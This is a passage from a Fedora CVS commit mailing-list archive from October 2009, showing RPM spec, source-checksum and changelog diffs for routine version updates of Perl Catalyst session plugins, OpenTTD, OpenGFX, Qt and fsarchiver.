 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 Requires:       perl(MooseX::Emulate::Class::Accessor::Fast) >= 0.00801
@@ -26,7 +26,6 @@ BuildRequires:  perl(MooseX::Emulate::Cl
 # test
 BuildRequires:  perl(Test::Deep)
 BuildRequires:  perl(Test::Exception)
-BuildRequires:  perl(Test::MockObject) >= 1.01
 BuildRequires:  perl(Test::More)
 # optional tests
 BuildRequires:  perl(Test::Pod)
@@ -95,6 +94,10 @@ rm -rf %{buildroot}
 %{_mandir}/man3/*
 
 %changelog
+* Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.27-1
+- update to 0.27
+- remove buildreq on perl(Text::MockObject)
+
 * Sat Aug 08 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.25-1
 - switch to new filtering system (perl_default_filter)
 - auto-update to 0.25 (by cpan-spec-update 0.01)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	1 Sep 2009 07:38:56 -0000	1.5
+++ sources	10 Oct 2009 07:30:23 -0000	1.6
@@ -1 +1 @@
-97c261322b3de46174a38d7a513022d0  Catalyst-Plugin-Session-0.25.tar.gz
+c9a349b7ff0674efba58a7f3fa1f5b05  Catalyst-Plugin-Session-0.27.tar.gz



From iarnell at fedoraproject.org  Sat Oct 10 08:02:11 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sat, 10 Oct 2009 08:02:11 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Session-Store-File/devel .cvsignore, 1.5, 
	1.6 perl-Catalyst-Plugin-Session-Store-File.spec, 1.6,
	1.7 sources, 1.5, 1.6
Message-ID: <20091010080211.BDB3411C00DB@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-File/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27084

Modified Files:
	.cvsignore perl-Catalyst-Plugin-Session-Store-File.spec 
	sources 
Log Message:
* Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.18-1
- update to latest upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-File/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	21 Jun 2009 07:34:07 -0000	1.5
+++ .cvsignore	10 Oct 2009 08:02:09 -0000	1.6
@@ -1 +1 @@
-Catalyst-Plugin-Session-Store-File-0.17.tar.gz
+Catalyst-Plugin-Session-Store-File-0.18.tar.gz


Index: perl-Catalyst-Plugin-Session-Store-File.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-File/devel/perl-Catalyst-Plugin-Session-Store-File.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Catalyst-Plugin-Session-Store-File.spec	26 Jul 2009 04:15:47 -0000	1.6
+++ perl-Catalyst-Plugin-Session-Store-File.spec	10 Oct 2009 08:02:09 -0000	1.7
@@ -1,16 +1,16 @@
 Name:           perl-Catalyst-Plugin-Session-Store-File
-Version:        0.17
-Release:        2%{?dist}
+Version:        0.18
+Release:        1%{?dist}
 Summary:        File storage backend for session data
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/Catalyst-Plugin-Session-Store-File/
-Source0:        http://www.cpan.org/authors/id/M/MR/MRAMBERG/Catalyst-Plugin-Session-Store-File-%{version}.tar.gz
+Source0:        http://cpan.org/modules/by-module/Catalyst/Catalyst-Plugin-Session-Store-File-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl >= 1:5.8.0
 BuildRequires:  perl(Cache::Cache) >= 1.02
-BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.21
+BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.27
 BuildRequires:  perl(Catalyst::Runtime) >= 5.7000
 BuildRequires:  perl(Class::Data::Inheritable) >= 0.04
 BuildRequires:  perl(ExtUtils::MakeMaker)
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.18-1
+- update to latest upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.17-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-File/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	21 Jun 2009 07:34:07 -0000	1.5
+++ sources	10 Oct 2009 08:02:09 -0000	1.6
@@ -1 +1 @@
-0de087d51cbe1a78aed18c44f0adfd96  Catalyst-Plugin-Session-Store-File-0.17.tar.gz
+ab6912c5d8a4eeedc7d603e5bb0a47cf  Catalyst-Plugin-Session-Store-File-0.18.tar.gz



From atorkhov at fedoraproject.org  Sat Oct 10 10:01:54 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:01:54 +0000 (UTC)
Subject: rpms/openttd-opengfx/devel .cvsignore, 1.3, 1.4 openttd-opengfx.spec,
	1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091010100154.C202B11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17820

Modified Files:
	.cvsignore openttd-opengfx.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- New upstream release 0.1.1
- Check md5sums of resulting files



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 Aug 2009 12:54:38 -0000	1.3
+++ .cvsignore	10 Oct 2009 10:01:54 -0000	1.4
@@ -1 +1 @@
-opengfx-0.1.0-alpha6-source.tar.gz
+opengfx-0.1.1-source.tar.gz


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/devel/openttd-opengfx.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openttd-opengfx.spec	23 Aug 2009 12:54:39 -0000	1.3
+++ openttd-opengfx.spec	10 Oct 2009 10:01:54 -0000	1.4
@@ -1,9 +1,9 @@
 %define realname opengfx
-%define prever   alpha6
+#define prever   alpha6
 
 Name:           openttd-opengfx
-Version:        0.1.0
-Release:        0.1%{?prever:.%{prever}}%{?dist}
+Version:        0.1.1
+Release:        1%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
@@ -46,7 +46,10 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 
 
 %check
-cd $RPM_BUILD_ROOT%{_datadir}/openttd/data
+cd opengfx-nightly
+# Split md5sums out of .obg file and check it
+sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
+    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
 
 
 %clean
@@ -61,6 +64,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
+- New upstream release 0.1.1
+- Check md5sums of resulting files
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.1.0-0.1.alpha6
 - new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 Aug 2009 12:54:39 -0000	1.3
+++ sources	10 Oct 2009 10:01:54 -0000	1.4
@@ -1 +1 @@
-b4441f9d3397b006ca25495935675fa1  opengfx-0.1.0-alpha6-source.tar.gz
+716f4a7e27090ef2c0c89bdc48462f42  opengfx-0.1.1-source.tar.gz



From atorkhov at fedoraproject.org  Sat Oct 10 10:02:19 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:02:19 +0000 (UTC)
Subject: rpms/openttd/devel .cvsignore, 1.4, 1.5 openttd.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091010100219.0C99A11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17921

Modified Files:
	.cvsignore openttd.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
- New upstream release 0.7.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	23 Aug 2009 15:00:01 -0000	1.4
+++ .cvsignore	10 Oct 2009 10:02:18 -0000	1.5
@@ -1 +1 @@
-openttd-0.7.2-source.tar.bz2
+openttd-0.7.3-source.tar.bz2


Index: openttd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/devel/openttd.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- openttd.spec	23 Aug 2009 15:00:01 -0000	1.6
+++ openttd.spec	10 Oct 2009 10:02:18 -0000	1.7
@@ -2,7 +2,7 @@
 #define prever RC2
 
 Name:           openttd
-Version:        0.7.2
+Version:        0.7.3
 Release:        1%{?dist}
 Summary:        Transport system simulation game
 
@@ -116,6 +116,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
+- New upstream release 0.7.3
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.7.2-1
 - new upstream release 0.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	23 Aug 2009 15:00:01 -0000	1.4
+++ sources	10 Oct 2009 10:02:18 -0000	1.5
@@ -1 +1 @@
-d151f67a95b8e8a239ad72c1c3864b65  openttd-0.7.2-source.tar.bz2
+fe8a006b8bd94fd86a9d8c2a04fe7558  openttd-0.7.3-source.tar.bz2



From than at fedoraproject.org  Sat Oct 10 10:05:21 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sat, 10 Oct 2009 10:05:21 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.340,1.341
Message-ID: <20091010100521.3AAD011C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18275

Modified Files:
	qt.spec 
Log Message:
- fix translation build issue



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/devel/qt.spec,v
retrieving revision 1.340
retrieving revision 1.341
diff -u -p -r1.340 -r1.341
--- qt.spec	6 Oct 2009 11:58:13 -0000	1.340
+++ qt.spec	10 Oct 2009 10:05:20 -0000	1.341
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -379,7 +379,6 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-#patch55 -p1 -b .translations_buildfix
 
 # security fixes
 
@@ -440,8 +439,10 @@ if [ "%{_lib}" == "lib64" ] ; then
   sed -i -e "s,/lib /usr/lib,/%{_lib} /usr/%{_lib},g" config.tests/{unix,x11}/*.test
 fi
 
-# let syncqt to create new header
-rm -rf include
+# let makefile create missing .qm files, the .qm files should be included in qt upstream
+for f in translations/*.ts ; do
+  touch ${f%.ts}.qm
+done
 
 
 %build
@@ -966,6 +967,9 @@ fi
 
 
 %changelog
+* Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
+- fix translation build issue
+
 * Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
 - disable JavaScriptCore JIT, SE Linux crashes (#527079)
 



From atorkhov at fedoraproject.org  Sat Oct 10 10:07:33 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:07:33 +0000 (UTC)
Subject: rpms/openttd-opengfx/F-12 .cvsignore, 1.3, 1.4 openttd-opengfx.spec,
	1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091010100733.3DF1D11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19450

Modified Files:
	.cvsignore openttd-opengfx.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- New upstream release 0.1.1
- Check md5sums of resulting files



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 Aug 2009 12:54:38 -0000	1.3
+++ .cvsignore	10 Oct 2009 10:07:32 -0000	1.4
@@ -1 +1 @@
-opengfx-0.1.0-alpha6-source.tar.gz
+opengfx-0.1.1-source.tar.gz


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-12/openttd-opengfx.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openttd-opengfx.spec	23 Aug 2009 12:54:39 -0000	1.3
+++ openttd-opengfx.spec	10 Oct 2009 10:07:33 -0000	1.4
@@ -1,9 +1,9 @@
 %define realname opengfx
-%define prever   alpha6
+#define prever   alpha6
 
 Name:           openttd-opengfx
-Version:        0.1.0
-Release:        0.1%{?prever:.%{prever}}%{?dist}
+Version:        0.1.1
+Release:        1%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
@@ -46,7 +46,10 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 
 
 %check
-cd $RPM_BUILD_ROOT%{_datadir}/openttd/data
+cd opengfx-nightly
+# Split md5sums out of .obg file and check it
+sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
+    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
 
 
 %clean
@@ -61,6 +64,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
+- New upstream release 0.1.1
+- Check md5sums of resulting files
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.1.0-0.1.alpha6
 - new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 Aug 2009 12:54:39 -0000	1.3
+++ sources	10 Oct 2009 10:07:33 -0000	1.4
@@ -1 +1 @@
-b4441f9d3397b006ca25495935675fa1  opengfx-0.1.0-alpha6-source.tar.gz
+716f4a7e27090ef2c0c89bdc48462f42  opengfx-0.1.1-source.tar.gz



From atorkhov at fedoraproject.org  Sat Oct 10 10:09:21 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:09:21 +0000 (UTC)
Subject: rpms/openttd/F-12 .cvsignore, 1.4, 1.5 openttd.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091010100921.6EF0211C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19809

Modified Files:
	.cvsignore openttd.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
- New upstream release 0.7.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	23 Aug 2009 15:00:01 -0000	1.4
+++ .cvsignore	10 Oct 2009 10:09:21 -0000	1.5
@@ -1 +1 @@
-openttd-0.7.2-source.tar.bz2
+openttd-0.7.3-source.tar.bz2


Index: openttd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-12/openttd.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- openttd.spec	23 Aug 2009 15:00:01 -0000	1.6
+++ openttd.spec	10 Oct 2009 10:09:21 -0000	1.7
@@ -2,7 +2,7 @@
 #define prever RC2
 
 Name:           openttd
-Version:        0.7.2
+Version:        0.7.3
 Release:        1%{?dist}
 Summary:        Transport system simulation game
 
@@ -116,6 +116,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
+- New upstream release 0.7.3
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.7.2-1
 - new upstream release 0.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	23 Aug 2009 15:00:01 -0000	1.4
+++ sources	10 Oct 2009 10:09:21 -0000	1.5
@@ -1 +1 @@
-d151f67a95b8e8a239ad72c1c3864b65  openttd-0.7.2-source.tar.bz2
+fe8a006b8bd94fd86a9d8c2a04fe7558  openttd-0.7.3-source.tar.bz2



From drago01 at fedoraproject.org  Sat Oct 10 10:09:23 2009
From: drago01 at fedoraproject.org (drago01)
Date: Sat, 10 Oct 2009 10:09:23 +0000 (UTC)
Subject: rpms/fsarchiver/devel .cvsignore, 1.12, 1.13 fsarchiver.spec, 1.19, 
	1.20 sources, 1.12, 1.13
Message-ID: <20091010100923.561DC11C00DB@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/fsarchiver/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19832

Modified Files:
	.cvsignore fsarchiver.spec sources 
Log Message:
update to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	27 Sep 2009 13:37:51 -0000	1.12
+++ .cvsignore	10 Oct 2009 10:09:23 -0000	1.13
@@ -1 +1 @@
-fsarchiver-0.6.0.tar.gz
+fsarchiver-0.6.1.tar.gz


Index: fsarchiver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/devel/fsarchiver.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- fsarchiver.spec	27 Sep 2009 13:37:51 -0000	1.19
+++ fsarchiver.spec	10 Oct 2009 10:09:23 -0000	1.20
@@ -1,5 +1,5 @@
 Name:		fsarchiver
-Version:	0.6.0
+Version:	0.6.1
 Release:	1%{?dist}
 Summary:	Safe and flexible file-system backup/deployment tool
 
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING README THANKS NEWS
 
 %changelog
+* Sat Oct 10 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.1-1
+- Update to 0.6.1
+
 * Sun Sep 27 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.0-1
 - Update to 0.6.0
 - Fixes licensing issue (no longer links against openssl)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	27 Sep 2009 13:37:51 -0000	1.12
+++ sources	10 Oct 2009 10:09:23 -0000	1.13
@@ -1 +1 @@
-f41bce4a1df2c287ca25e3cb8d56b27d  fsarchiver-0.6.0.tar.gz
+8d09cb2ee729d65005458c6d759e3cc4  fsarchiver-0.6.1.tar.gz



From drago01 at fedoraproject.org  Sat Oct 10 10:10:04 2009
From: drago01 at fedoraproject.org (drago01)
Date: Sat, 10 Oct 2009 10:10:04 +0000 (UTC)
Subject: rpms/fsarchiver/F-12 .cvsignore, 1.12, 1.13 fsarchiver.spec, 1.19, 
	1.20 sources, 1.12, 1.13
Message-ID: <20091010101004.B0D6111C02A0@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/fsarchiver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20107

Modified Files:
	.cvsignore fsarchiver.spec sources 
Log Message:
update to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	27 Sep 2009 13:37:51 -0000	1.12
+++ .cvsignore	10 Oct 2009 10:10:04 -0000	1.13
@@ -1 +1 @@
-fsarchiver-0.6.0.tar.gz
+fsarchiver-0.6.1.tar.gz


Index: fsarchiver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-12/fsarchiver.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- fsarchiver.spec	27 Sep 2009 13:37:51 -0000	1.19
+++ fsarchiver.spec	10 Oct 2009 10:10:04 -0000	1.20
@@ -1,5 +1,5 @@
 Name:		fsarchiver
-Version:	0.6.0
+Version:	0.6.1
 Release:	1%{?dist}
 Summary:	Safe and flexible file-system backup/deployment tool
 
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING README THANKS NEWS
 
 %changelog
+* Sat Oct 10 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.1-1
+- Update to 0.6.1
+
 * Sun Sep 27 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.0-1
 - Update to 0.6.0
 - Fixes licensing issue (no longer links against openssl)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	27 Sep 2009 13:37:51 -0000	1.12
+++ sources	10 Oct 2009 10:10:04 -0000	1.13
@@ -1 +1 @@
-f41bce4a1df2c287ca25e3cb8d56b27d  fsarchiver-0.6.0.tar.gz
+8d09cb2ee729d65005458c6d759e3cc4  fsarchiver-0.6.1.tar.gz



From drago01 at fedoraproject.org  Sat Oct 10 10:10:08 2009
From: drago01 at fedoraproject.org (drago01)
Date: Sat, 10 Oct 2009 10:10:08 +0000 (UTC)
Subject: rpms/fsarchiver/F-10 .cvsignore, 1.11, 1.12 fsarchiver.spec, 1.12, 
	1.13 sources, 1.11, 1.12
Message-ID: <20091010101008.F244C11C02A0@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/fsarchiver/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20145

Modified Files:
	.cvsignore fsarchiver.spec sources 
Log Message:
update to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	27 Sep 2009 13:39:56 -0000	1.11
+++ .cvsignore	10 Oct 2009 10:10:08 -0000	1.12
@@ -1 +1 @@
-fsarchiver-0.6.0.tar.gz
+fsarchiver-0.6.1.tar.gz


Index: fsarchiver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-10/fsarchiver.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- fsarchiver.spec	27 Sep 2009 13:39:56 -0000	1.12
+++ fsarchiver.spec	10 Oct 2009 10:10:08 -0000	1.13
@@ -1,5 +1,5 @@
 Name:		fsarchiver
-Version:	0.6.0
+Version:	0.6.1
 Release:	1%{?dist}
 Summary:	Safe and flexible file-system backup/deployment tool
 
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING README THANKS NEWS
 
 %changelog
+* Sat Oct 10 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.1-1
+- Update to 0.6.1
+
 * Sun Sep 27 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.0-1
 - Update to 0.6.0
 - Fixes licensing issue (no longer links against openssl)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	27 Sep 2009 13:39:56 -0000	1.11
+++ sources	10 Oct 2009 10:10:08 -0000	1.12
@@ -1 +1 @@
-f41bce4a1df2c287ca25e3cb8d56b27d  fsarchiver-0.6.0.tar.gz
+8d09cb2ee729d65005458c6d759e3cc4  fsarchiver-0.6.1.tar.gz



From drago01 at fedoraproject.org  Sat Oct 10 10:10:06 2009
From: drago01 at fedoraproject.org (drago01)
Date: Sat, 10 Oct 2009 10:10:06 +0000 (UTC)
Subject: rpms/fsarchiver/F-11 .cvsignore, 1.12, 1.13 fsarchiver.spec, 1.16, 
	1.17 sources, 1.12, 1.13
Message-ID: <20091010101006.DC9DF11C02A0@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/fsarchiver/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20131

Modified Files:
	.cvsignore fsarchiver.spec sources 
Log Message:
update to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	27 Sep 2009 13:39:17 -0000	1.12
+++ .cvsignore	10 Oct 2009 10:10:06 -0000	1.13
@@ -1 +1 @@
-fsarchiver-0.6.0.tar.gz
+fsarchiver-0.6.1.tar.gz


Index: fsarchiver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-11/fsarchiver.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- fsarchiver.spec	27 Sep 2009 13:39:17 -0000	1.16
+++ fsarchiver.spec	10 Oct 2009 10:10:06 -0000	1.17
@@ -1,5 +1,5 @@
 Name:		fsarchiver
-Version:	0.6.0
+Version:	0.6.1
 Release:	1%{?dist}
 Summary:	Safe and flexible file-system backup/deployment tool
 
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING README THANKS NEWS
 
 %changelog
+* Sat Oct 10 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.1-1
+- Update to 0.6.1
+
 * Sun Sep 27 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.6.0-1
 - Update to 0.6.0
 - Fixes licensing issue (no longer links against openssl)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fsarchiver/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	27 Sep 2009 13:39:17 -0000	1.12
+++ sources	10 Oct 2009 10:10:06 -0000	1.13
@@ -1 +1 @@
-f41bce4a1df2c287ca25e3cb8d56b27d  fsarchiver-0.6.0.tar.gz
+8d09cb2ee729d65005458c6d759e3cc4  fsarchiver-0.6.1.tar.gz



From atorkhov at fedoraproject.org  Sat Oct 10 10:12:41 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:12:41 +0000 (UTC)
Subject: rpms/openttd-opengfx/F-11 .cvsignore, 1.3, 1.4 openttd-opengfx.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091010101241.D0A0211C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20636

Modified Files:
	.cvsignore openttd-opengfx.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- New upstream release 0.1.1
- Check md5sums of resulting files



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 Aug 2009 14:12:34 -0000	1.3
+++ .cvsignore	10 Oct 2009 10:12:41 -0000	1.4
@@ -1 +1 @@
-opengfx-0.1.0-alpha6-source.tar.gz
+opengfx-0.1.1-source.tar.gz


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-11/openttd-opengfx.spec,v
